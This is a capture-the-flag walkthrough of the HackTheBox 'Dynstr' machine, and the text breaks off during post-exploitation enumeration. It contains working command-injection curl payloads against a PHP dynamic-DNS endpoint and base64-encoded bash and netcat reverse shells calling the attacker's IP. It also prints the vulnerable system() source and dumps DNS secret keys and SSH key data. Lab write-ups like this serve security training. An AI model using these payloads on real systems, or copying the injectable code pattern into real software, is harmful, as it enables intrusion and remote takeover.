HTB Dynstr Walkthrough
A technical walkthrough of the HaxkTheBox Dybstr challenge!
Hello my friends, welcome to another of my HackTheBox specials, this time we face an interesting box where I learn some new exploiting techniques that I didn't know before!
Lets jump right in with the nmap scan:
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-21 22:52 CEST
Nmap scan report for 10.10.10.244
Host is up (0.043s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 05:7c:5e:b1:83:f9:4f:ae:2f:08:e1:33:ff:f5:83:9e (RSA)
| 256 3f:73:b4:95:72:ca:5e:33:f6:8a:8f:46:cf:43:35:b9 (ECDSA)
|_ 256 cc:0a:41:b7:a1:9a:43:da:1b:68:f5:2a:f8:2a:75:2c (ED25519)
53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.16.1-Ubuntu
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyna DNS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.98 seconds
In addition to the normal http ports on 80 and ssh on 22, there is a port 53 on which there appears to be an active DNS service. Taking a look at the portal we discover a series of other domains and credentials, with which at the moment we do not know where to use (obviously they are not for the ssh).
The domains:
- dnsalias.htb
- dynamicdns.htb
- no-ip.htb
- dyna.htb
The credentials:
Username: dynadns
Password: sndanyd
We give a shot to the portal with the dirb and we see that not much emerges, of the quite common folders, among other things, the scan stops, probably a reboot of the machine or something else; let's leave it out for the moment and move on, but we will come back to this aspect soon.
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.244 - Dynstr (lin)]
└─$ dirb http://dyna.htb/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Jun 21 23:05:04 2021
URL_BASE: http://dyna.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://dyna.htb/ ----
==> DIRECTORY: http://dyna.htb/assets/
+ http://dyna.htb/index.html (CODE:200|SIZE:10909)
+ http://dyna.htb/server-status (CODE:403|SIZE:273)
---- Entering directory: http://dyna.htb/assets/ ----
==> DIRECTORY: http://dyna.htb/assets/css/
==> DIRECTORY: http://dyna.htb/assets/fonts/
==> DIRECTORY: http://dyna.htb/assets/img/
==> DIRECTORY: http://dyna.htb/assets/js/
---- Entering directory: http://dyna.htb/assets/css/ ----
---- Entering directory: http://dyna.htb/assets/fonts/ ----
---- Entering directory: http://dyna.htb/assets/img/ ----
==> DIRECTORY: http://dyna.htb/assets/img/bg/
==> DIRECTORY: http://dyna.htb/assets/img/logo/
(!) FATAL: Too many errors connecting to host
(Possible cause: OPERATION TIMEOUT)
-----------------
END_TIME: Mon Jun 21 23:23:42 2021
DOWNLOADED: 22089 - FOUND: 2
There is a DNS service on this machine, which probably manages subdomains. We use the usual method to find out some of them... I doubt that this time I might need to enter the address of this server for resolution, but let's proceed step by step and use ourselves as a resolver. Usual preliminary file operations before starting the dnsmasq service.
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.244 - Dynstr (lin)]
└─$ grep -v '#' /etc/dnsmasq.conf | grep .
address=/dyna.htb/10.10.10.244 # change with domain and address to check
listen-address=::1,127.0.0.1,10.10.15.121 # change with your IP address
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.244 - Dynstr (lin)]
└─$ cat /etc/resolv.conf
# Generated by NetworkManager
search homenet.telecomitalia.it
# nameserver 192.168.1.1 # comment this line
nameserver 127.0.0.1 # and uncomment this line
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.244 - Dynstr (lin)]
└─$ sudo service dnsmasq start 4 ⨯
As I imagined, nothing interesting.
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.244 - Dynstr (lin)]
└─$ wfuzz -c -w ./attack/wfuzz/subdomains-top1mil-5000.txt -u http://FUZZ.dyna.htb/ --hh 10909
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://FUZZ.dyna.htb/
Total requests: 4992
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
Total time: 55.59077
Processed Requests: 4992
Filtered Requests: 4992
Requests/sec.: 89.79907
I need to deepen my knowledge on this service, we search online for information about it.
The link above is the last search I did on how to test such a DNS service. Then, remove from /etc/hosts file all the domains that I had previously entered for name resolution and set the address of the machine with the DNS service as resolver (in the /etc/resolver.conf).
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.244 - Dynstr (lin)]
└─$ dig no-ip.htb
; <<>> DiG 9.16.15-Debian <<>> no-ip.htb
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 11578
;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 14a979a2e9460be90100000060d116b6874716849a54181a (good)
;; QUESTION SECTION:
;no-ip.htb. IN A
;; AUTHORITY SECTION:
no-ip.htb. 60 IN SOA dns1.dyna.htb. hostmaster.dyna.htb. 2021030318 21600 3600 604800 60
;; Query time: 40 msec
;; SERVER: 10.10.10.244#53(10.10.10.244)
;; WHEN: Tue Jun 22 00:33:58 CEST 2021
;; MSG SIZE rcvd: 126
And more information is starting to come out, let's continue on this direction.
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.244 - Dynstr (lin)]
└─$ dig dns1.dyna.htb
; <<>> DiG 9.16.15-Debian <<>> dns1.dyna.htb
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 34271
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 6d86d5cca43014ba0100000060d11941b8de413780c69988 (good)
;; QUESTION SECTION:
;dns1.dyna.htb. IN A
;; ANSWER SECTION:
dns1.dyna.htb. 60 IN A 127.0.0.1
;; Query time: 40 msec
;; SERVER: 10.10.10.244#53(10.10.10.244)
;; WHEN: Tue Jun 22 00:44:50 CEST 2021
;; MSG SIZE rcvd: 86
But I sang victory too soon, even here, nothing more than other domains, but which do seem to respond to the same portal. Let's go back to the scan with dirb, but I would like to increase the dictionary of the attacks or at least with a DNS oriented dictionary, let's see what we have available.
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.244 - Dynstr (lin)]
└─$ ls -la /usr/share/dirb/wordlists/
total 268
drwxr-xr-x 5 root root 4096 Feb 13 20:54 .
drwxr-xr-x 3 root root 4096 Feb 13 20:54 ..
-rw-r--r-- 1 root root 184073 Jan 24 2012 big.txt
-rw-r--r-- 1 root root 1292 Jan 27 2012 catala.txt
-rw-r--r-- 1 root root 35849 Nov 17 2014 common.txt
-rw-r--r-- 1 root root 1492 May 23 2012 euskera.txt
-rw-r--r-- 1 root root 142 Dec 29 2005 extensions_common.txt
-rw-r--r-- 1 root root 75 Mar 16 2012 indexes.txt
-rw-r--r-- 1 root root 244 Dec 29 2005 mutations_common.txt
drwxr-xr-x 2 root root 4096 Feb 13 20:54 others
-rw-r--r-- 1 root root 6561 Mar 4 2014 small.txt
-rw-r--r-- 1 root root 3731 Nov 12 2014 spanish.txt
drwxr-xr-x 2 root root 4096 Feb 13 20:54 stress
drwxr-xr-x 2 root root 4096 Feb 13 20:54 vulns
Nothing particularly interesting, I would say that a more extensive dictionary will be enough.
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.244 - Dynstr (lin)]
└─$ dirb http://dyna.htb/ /usr/share/dirb/wordlists/big.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Jun 26 11:44:57 2021
URL_BASE: http://dyna.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
-----------------
GENERATED WORDS: 20458
---- Scanning URL: http://dyna.htb/ ----
==> DIRECTORY: http://dyna.htb/assets/
==> DIRECTORY: http://dyna.htb/nic/
+ http://dyna.htb/server-status (CODE:403|SIZE:273)
---- Entering directory: http://dyna.htb/assets/ ----
==> DIRECTORY: http://dyna.htb/assets/css/
==> DIRECTORY: http://dyna.htb/assets/fonts/
+ Going to next directory.
---- Entering directory: http://dyna.htb/nic/ ----
+ http://dyna.htb/nic/update (CODE:200|SIZE:8)
---- Entering directory: http://dyna.htb/assets/css/ ----
+ Going to next directory.
---- Entering directory: http://dyna.htb/assets/fonts/ ----
+ Going to next directory.
-----------------
END_TIME: Sat Jun 26 12:22:30 2021
DOWNLOADED: 49552 - FOUND: 2
The same folders of the previous scan are repeated, I will skip them, concentrating on the new ones. The result is two new routings that hadn't emerged before:
Let's take a look at it.
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.244 - Dynstr (lin)]
└─$ curl http://dyna.htb/nic/update
badauth
This badauth message reminds me that I have credentials to use.
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.244 - Dynstr (lin)]
└─$ curl http://dynadns:[email protected]/nic/update 130 ⨯
nochg 10.10.15.121
Bingo and the address he replies with, seems to be mine. Well, let's find out what this nochg message is.
Ok, that's not the DNS I'm dealing with, but the system and URLs used look the same, it's probably a standard.
And here is the nochg message that is returned to us and all the other possible outcomes of the call.
Another source for the collection of information is the no-ip.com portal which, as can also be seen from the exposed domains, one (no-ip.htb) is similar to the one mentioned.
And actually from here come a series of interesting information on how to take advantage of the service.
Despite everything, I still can't figure out how to use the service to get a reverse shell or anything that can help me. Searching online for the various exploits available you will not find much, many CVEs, but no clear exploits. There are also some RCEs among them, but I still can't find how to apply it. I decide to take a cue from the forum and this is the information that guided me:
- apply the basic
- be imple
- injection
The suggestion that I collect is inherent a sort of injection (like SQL) to be applied to the URL, but in a simple way, just like the basics of vulnerability. After a few tries and I understand that the technique should be (as I thought) the same as SQL Injection, but to apply to command line statements, just like running built shell commands. Searching online I also found many pages containing payloads to be applied to verify the vulnerability and after having elaborated and modified some ad hoc, I arrived at the exploit.
First of all let's understand which is the right domain to update domains.
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.244 - Dynstr (lin)]
└─$ curl -X POST "http://dynadns:[email protected]/nic/update?hostname=in7rud3r.dyna.htb&myip=10.10.15.121"
911 [wrngdom: dyna.htb]
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.244 - Dynstr (lin)]
└─$ curl -X POST "http://dynadns:[email protected]/nic/update?hostname=in7rud3r.no-ip.htb&myip=10.10.15.121"
good 10.10.15.121
Then we understand what is the right parameter to attack (the fact that an error does not return could indicate that the command was processed on the backend side or that the domain update took place with a... strange name).
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.244 - Dynstr (lin)]
└─$ curl -X POST "http://dynadns:[email protected]/nic/update?hostname=in7rud3r.no-ip.htb&myip=10.10.15.121;id;"
good 10.10.15.121
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.244 - Dynstr (lin)]
└─$ curl -X POST "http://dynadns:[email protected]/nic/update?hostname=in7rud3r.no-ip.htb&myip=;id;10.10.15.121"
good 10.10.15.121
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.244 - Dynstr (lin)]
└─$ curl -X POST "http://dynadns:[email protected]/nic/update?hostname=in7rud3r.no-ip.htb"
good 10.10.15.121
I finally find that inserting a double quote (something equivalent to a single quote in SQL Injection) probably ends one command and starts another. Adding the site response details greatly helps in identifying the exploit.
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.244 - Dynstr (lin)]
└─$ curl -X POST "http://dynadns:[email protected]/nic/update?hostname=\"in7rud3r.no-ip.htb" -v
* Trying 10.10.10.244:80...
* Connected to dyna.htb (10.10.10.244) port 80 (#0)
* Server auth using Basic with user 'dynadns'
> POST /nic/update?hostname="in7rud3r.no-ip.htb HTTP/1.1
> Host: dyna.htb
> Authorization: Basic ZHluYWRuczpzbmRhbnlk
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 28 Jun 2021 09:42:50 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Vary: Accept-Encoding
< Content-Length: 83
< Content-Type: text/html; charset=UTF-8
<
server 127.0.0.1
zone no-ip.htb
update delete in7rud3r.no-ip.htb
good 10.10.15.121
* Connection #0 to host dyna.htb left intact
And here finally the outputs of the injected commands are shown in the response.
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.244 - Dynstr (lin)]
└─$ curl -X POST "http://dynadns:[email protected]/nic/update?hostname=%22;id;in7rud3r.no-ip.htb" -v
* Trying 10.10.10.244:80...
* Connected to dyna.htb (10.10.10.244) port 80 (#0)
* Server auth using Basic with user 'dynadns'
> POST /nic/update?hostname=%22;id;in7rud3r.no-ip.htb HTTP/1.1
> Host: dyna.htb
> Authorization: Basic ZHluYWRuczpzbmRhbnlk
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 28 Jun 2021 09:44:55 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Vary: Accept-Encoding
< Content-Length: 119
< Content-Type: text/html; charset=UTF-8
<
server 127.0.0.1
zone no-ip.htb
update delete
uid=33(www-data) gid=33(www-data) groups=33(www-data)
good 10.10.15.121
* Connection #0 to host dyna.htb left intact
Ok, here we have to do a further step, the dot in the commands (the IP address of my machine in the netcat command) interfere with the interpretation of the final command; we must find a way to pass the command avoiding this inconvenience. Nothing simpler (even if the idea came to me after remembering a keyword read in the forum), we encode and decode the command in base64, obviously we will also have to encode the URL which is becoming quite complex.
First encode the command to execute:
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.244 - Dynstr (lin)]
└─$ echo "nc 10.10.15.121 4444" | base64
bmMgMTAuMTAuMTUuMTIxIDQ0NDQK
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.244 - Dynstr (lin)]
└─$ echo "bmMgMTAuMTAuMTUuMTIxIDQ0NDQK" | base64 -d 1 ⨯
nc 10.10.15.121 4444
Yes, it's works. The encoded piece of URL seems to be the following:
echo%20%22bmMgMTAuMTAuMTUuMTIxIDQ0NDQK%22%20%7C%20base64%20-d
For the encoding use an online tools.
To execute the command should be add the " | bash" in order to indicate to the shell to execute the previous command with a bash. The call to the server result to be this:
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.244 - Dynstr (lin)]
└─$ curl -X POST "http://dynadns:[email protected]/nic/update?hostname=%22;echo%20%22bmMgMTAuMTAuMTUuMTIxIDQ0NDQK%22%20%7C%20base64%20-d+|+bash;in7rud3r.no-ip.htb" -v
* Trying 10.10.10.244:80...
* Connected to dyna.htb (10.10.10.244) port 80 (#0)
* Server auth using Basic with user 'dynadns'
> POST /nic/update?hostname=%22;echo%20%22bmMgMTAuMTAuMTUuMTIxIDQ0NDQK%22%20%7C%20base64%20-d+|+bash;in7rud3r.no-ip.htb HTTP/1.1
> Host: dyna.htb
> Authorization: Basic ZHluYWRuczpzbmRhbnlk
> User-Agent: curl/7.74.0
> Accept: */*
>
The call hangs and the shell on our terminal activates, but, disappointment, it doesn't work.
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox]
└─$ nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.15.121] from dyna.htb [10.10.10.244] 40210
ls -la
whoami
Let's try to change the reverse shell and proceed with the previous process again. As always we can find many at the usual link.
Let's try a classic.
bash -i >& /dev/tcp/10.10.15.121/4444 0>&1
So the base 64 command.
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.244 - Dynstr (lin)]
└─$ echo "bash -i >& /dev/tcp/10.10.15.121/4444 0>&1" | base64 130 ⨯
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xMjEvNDQ0NCAwPiYxCg==
The attack to insert in the URL.
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xMjEvNDQ0NCAwPiYxCg==" | base64 -d | bash
And try again.
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.244 - Dynstr (lin)]
└─$ curl -X POST "http://dynadns:[email protected]/nic/update?hostname=%22;echo%20%22YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNS4xMjEvNDQ0NCAwPiYxCg%3D%3D%22%20%7C%20base64%20-d%20%7C%20bash;in7rud3r.no-ip.htb" -v
* Trying 10.10.10.244:80...
* Connected to dyna.htb (10.10.10.244) port 80 (#0)
* Server auth using Basic with user 'dynadns'
> POST /nic/update?hostname=%22;echo%20%22YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNS4xMjEvNDQ0NCAwPiYxCg%3D%3D%22%20%7C%20base64%20-d%20%7C%20bash;in7rud3r.no-ip.htb HTTP/1.1
> Host: dyna.htb
> Authorization: Basic ZHluYWRuczpzbmRhbnlk
> User-Agent: curl/7.74.0
> Accept: */*
>
This time the reverse shell works.
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox]
└─$ nc -lvp 4444 1 ⨯
listening on [any] 4444 ...
connect to [10.10.15.121] from dyna.htb [10.10.10.244] 40278
bash: cannot set terminal process group (756): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dynstr:/var/www/html/nic$ whoami
whoami
www-data
www-data@dynstr:/var/www/html/nic$
Unfortunately I'm nobody, so let's start browsing and figure out who is our first user to exploit.
ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Mar 15 20:26 .
drwxr-xr-x 18 root root 4096 May 25 14:52 ..
drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 bindmgr
drwxr-xr-x 3 dyna dyna 4096 Mar 18 20:00 dyna
www-data@dynstr:/var/www/html/nic$ ls -la /home/bindmgr
ls -la /home/bindmgr
total 36
drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 .
drwxr-xr-x 4 root root 4096 Mar 15 20:26 ..
lrwxrwxrwx 1 bindmgr bindmgr 9 Mar 15 20:29 .bash_history -> /dev/null
-rw-r--r-- 1 bindmgr bindmgr 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 bindmgr bindmgr 3771 Feb 25 2020 .bashrc
drwx------ 2 bindmgr bindmgr 4096 Mar 13 12:09 .cache
-rw-r--r-- 1 bindmgr bindmgr 807 Feb 25 2020 .profile
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 12:09 .ssh
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 14:53 support-case-C62796521
-r-------- 1 bindmgr bindmgr 33 Jun 27 23:20 user.txt
www-data@dynstr:/var/www/html/nic$ ls -la /home/dyna
ls -la /home/dyna
total 24
drwxr-xr-x 3 dyna dyna 4096 Mar 18 20:00 .
drwxr-xr-x 4 root root 4096 Mar 15 20:26 ..
lrwxrwxrwx 1 dyna dyna 9 Mar 18 20:00 .bash_history -> /dev/null
-rw-r--r-- 1 dyna dyna 220 Mar 15 20:01 .bash_logout
-rw-r--r-- 1 dyna dyna 3771 Mar 15 20:01 .bashrc
drwx------ 2 dyna dyna 4096 Mar 15 20:01 .cache
-rw-r--r-- 1 dyna dyna 807 Mar 15 20:01 .profile
-rw-r--r-- 1 dyna dyna 0 Mar 15 20:02 .sudo_as_admin_successful
www-data@dynstr:/var/www/html/nic$ cat /home/bindmgr/user.txt
cat /home/bindmgr/user.txt
cat: /home/bindmgr/user.txt: Permission denied
www-data@dynstr:/var/www/html/nic$
Well, bindmgr is the owner of the first flag. But now, let's take a look at the file that allowed us to get a reverse shell and understand "how" it was possible.
www-data@dynstr:/var/www/html/nic$ cat update
cat update
<?php
// Check authentication
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) { echo "badauth\n"; exit; }
if ($_SERVER['PHP_AUTH_USER'].":".$_SERVER['PHP_AUTH_PW']!=='dynadns:sndanyd') { echo "badauth\n"; exit; }
// Set $myip from GET, defaulting to REMOTE_ADDR
$myip = $_SERVER['REMOTE_ADDR'];
if ($valid=filter_var($_GET['myip'],FILTER_VALIDATE_IP)) { $myip = $valid; }
if(isset($_GET['hostname'])) {
// Check for a valid domain
list($h,$d) = explode(".",$_GET['hostname'],2);
$validds = array('dnsalias.htb','dynamicdns.htb','no-ip.htb');
if(!in_array($d,$validds)) { echo "911 [wrngdom: $d]\n"; exit; }
// Update DNS entry
$cmd = sprintf("server 127.0.0.1\nzone %s\nupdate delete %s.%s\nupdate add %s.%s 30 IN A %s\nsend\n",$d,$h,$d,$h,$d,$myip);
system('echo "'.$cmd.'" | /usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key',$retval);
// Return good or 911
if (!$retval) {
echo "good $myip\n";
} else {
echo "911 [nsupdate failed]\n"; exit;
}
} else {
echo "nochg $myip\n";
}
?>
The code shows that a check is immediately carried out on the credentials that correspond to those indicated in the portal. The variable $myip is instead retrieved from the server in the form of the IP address of the caller, it is overwritten by the one passed in querystring only if a valid IP address has been provided. Now there is the interesting part, the hostname is separated into two parts, considering the first "dot" within the string (here is the arcane about the "dot" of the command that interfered with the attack I had developed at the beginning). The second level domain is compared with the valid ones available and if everything coincides, the final command (variable $cmd) is constructed and executed (system command).
In any case, I do not want to miss a healthy scan with linpeas, which during the scan seems to me relatively different from the last times I had used it and in fact, from the git repository from which I downloaded it, it is updated 8 days before. In any case, we extrapolate and analyze the salient parts of the output.
[...]
╔══════════╣ Analizing SSH FILES Files (limit 70)
-rw------- 1 bindmgr bindmgr 1823 Mar 13 11:48 /home/bindmgr/.ssh/id_rsa
-rw-r--r-- 1 bindmgr bindmgr 395 Mar 13 11:48 /home/bindmgr/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4pkc7L5EaGz6CcwSCx1BqzuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7aXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX
6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WOD bindmgr@nomen
-rw-r--r-- 1 bindmgr bindmgr 444 Mar 13 12:09 /home/bindmgr/.ssh/known_hosts
|1|XxXpqZFfdEHi+D1J4xKhh5bFLhI=|3gs3peosk8KEB34F+4eGRDam2V4= ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPF6wxJo3PKwDbrbot1+9sUfdkOvo5jD1iavL+LOJHKoCQn7EDqY4OeWREcPquOmK6np4QhvfsbzjOWXCsx4qEA=
|1|W3eIwD4XPbzxw43a9fbSrrXOJXI=|p3ZDmOSY7BcPoQFYs2tWZnDO4JQ= ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPF6wxJo3PKwDbrbot1+9sUfdkOvo5jD1iavL+LOJHKoCQn7EDqY4OeWREcPquOmK6np4QhvfsbzjOWXCsx4qEA=
-rw-r--r-- 1 bindmgr bindmgr 419 Mar 13 12:00 /home/bindmgr/.ssh/authorized_keys
from="*.infra.dyna.htb" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4pkc7L5EaGz6CcwSCx1BqzuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7aXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PZU8mpL5MP/g
2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WOD bindmgr@nomen
[...]
══╣ Possible private SSH keys were found!
/home/bindmgr/support-case-C62796521/strace-C62796521.txt
/home/bindmgr/support-case-C62796521/C62796521-debugging.script
[...]
══╣ Some home ssh config file was found
/usr/share/openssh/sshd_config
[...]
╔══════════╣ Analizing Bind Files (limit 70)
drwxr-sr-x 3 root bind 4096 Mar 20 12:00 /etc/bind
-rw-r----- 1 bind bind 100 Mar 15 20:14 /etc/bind/rndc.key
-rw-r--r-- 1 root bind 100 Mar 15 20:44 /etc/bind/ddns.key
key "ddns-key" {
algorithm hmac-sha256;
secret "K8VF/NCIy5K4494l2w09Kib7oEcjdjdF7m4dXSI8vhI=";
};
-rw-r--r-- 1 root bind 101 Mar 15 20:44 /etc/bind/infra.key
key "infra-key" {
algorithm hmac-sha256;
secret "7qHH/eYXorN2ZNUM1dpLie5BmVstOw55LgEeacJZsao=";
};
[...]
-rw-r--r-- 1 root root 72941 Oct 6 2020 /etc/php/7.4/apache2/php.ini
-rw-r--r-- 1 root root 72539 Oct 6 2020 /etc/php/7.4/cli/php.ini
[...]
╔══════════╣ Analizing Other Interesting Files Files (limit 70)
-rw-r--r-- 1 root root 3771 Feb 25 2020 /etc/skel/.bashrc
-rw-r--r-- 1 bindmgr bindmgr 3771 Feb 25 2020 /home/bindmgr/.bashrc
-rw-r--r-- 1 dyna dyna 3771 Mar 15 20:01 /home/dyna/.bashrc
-rw-r--r-- 1 root root 807 Feb 25 2020 /etc/skel/.profile
-rw-r--r-- 1 bindmgr bindmgr 807 Feb 25 2020 /home/bindmgr/.profile
-rw-r--r-- 1 dyna dyna 807 Mar 15 20:01 /home/dyna/.profile
-rw-r--r-- 1 dyna dyna 0 Mar 15 20:02 /home/dyna/.sudo_as_admin_successful
[...]
╔══════════╣ Finding passwords inside key folders (limit 70) - no PHP files
/etc/apache2/sites-available/default-ssl.conf: # file needs this password: `xxj31ZMTZzkVA'.
/etc/debconf.conf:#BindPasswd: secret
[...]
It appears that this scan has brought many benefits. First of all the user bindmgr ssh keys in the folder .ssh (which I should have noticed from the beginning, there shouldn't be a need linpeas for this, I'm getting old or getting lazy).
www-data@dynstr:/tmp$ cat /home/bindmgr/.ssh/id_rsa
cat /home/bindmgr/.ssh/id_rsa
cat: /home/bindmgr/.ssh/id_rsa: Permission denied
www-data@dynstr:/tmp$ ls -la /home/bindmgr/.ssh/
ls -la /home/bindmgr/.ssh/
total 24
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 12:09 .
drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 ..
-rw-r--r-- 1 bindmgr bindmgr 419 Mar 13 12:00 authorized_keys
-rw------- 1 bindmgr bindmgr 1823 Mar 13 11:48 id_rsa
-rw-r--r-- 1 bindmgr bindmgr 395 Mar 13 11:48 id_rsa.pub
-rw-r--r-- 1 bindmgr bindmgr 444 Mar 13 12:09 known_hosts
I don't have permission to retrieve the private key, but I can take a look at the other files, understanding that the public key in the authorized key file is just the one in the folder; note the heading "from ="*. infra.dyna.htb"" preceding the key, this restricts access to the machine only from domains recognized by the DNS server.
www-data@dynstr:/tmp$ cat /home/bindmgr/.ssh/authorized_keys
cat /home/bindmgr/.ssh/authorized_keys
from="*.infra.dyna.htb" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4pkc7L5EaGz6CcwSCx1BqzuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7aXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WOD bindmgr@nomen
www-data@dynstr:/tmp$ cat /home/bindmgr/.ssh/id_rsa.pub
cat /home/bindmgr/.ssh/id_rsa.pub
